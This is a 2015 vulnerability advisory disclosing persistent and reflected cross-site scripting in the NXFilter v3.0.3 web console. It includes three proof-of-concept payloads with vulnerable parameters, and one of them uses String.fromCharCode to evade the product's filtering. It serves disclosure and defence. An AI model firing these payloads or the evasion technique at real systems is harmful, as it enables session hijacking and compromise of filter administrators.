NXFilter v3.0.3 Persistent / Reflected XSS

[apparitionsec@xxxxxxxxx]

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-XSS.txt



Vendor:
================================
www.nxfilter.org/p2/



Product:
================================
NXFilter v3.0.3



Vulnerability Type:
=========================
Persistent & Reflected XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
Persistent & reflected XSS entry points exist allowing arbitrary client side 
browser code execution
on victims who click our infected linx or visit persistently stored XSS 
payloads. XSS strings seem
to get filtered, yet we can defeat that using JS String.fromCharCode() 
functions.



Exploit code(s):
===============

1) persistent XSS under category / custom
   "name" parameter is vulnerable to persistent XSS injection using POST method.

http://localhost/category,custom.jsp
<input type="text" name="description" value="<script>alert(666)</script>" 
size="50">


2) reflected XSS

http://localhost/classifier,ruleset.jsp?action_flag=&page=1&kw=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&id=&domain=&keyword=&points=



3) reflected XSS

http://localhost/report,daily.jsp?stime=2015%2F10%2F17&time_option=yesterday&user=%22/%3E%3Cscript%3Ealert%28String.fromCharCode%2872%29%2bString.fromCharCode%2869%29%2bString.fromCharCode%2876%29%2bString.fromCharCode%2876%29%29%3C/script%3E




Disclosure Timeline:
=======================================
Vendor Notification:  October 18, 2015
November 5, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===================================================
High



Description:
==================================================
Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] NXFilter v3.0.3


Vulnerable Parameter(s):        [+] name, user, kw



===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided 
that it is not altered except by reformatting it, and that due credit is given. 
Permission is explicitly given for insertion in vulnerability databases and 
similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained 
herein and prohibits any malicious use of all security related information or 
exploits by the author or elsewhere.

by hyp3rlinx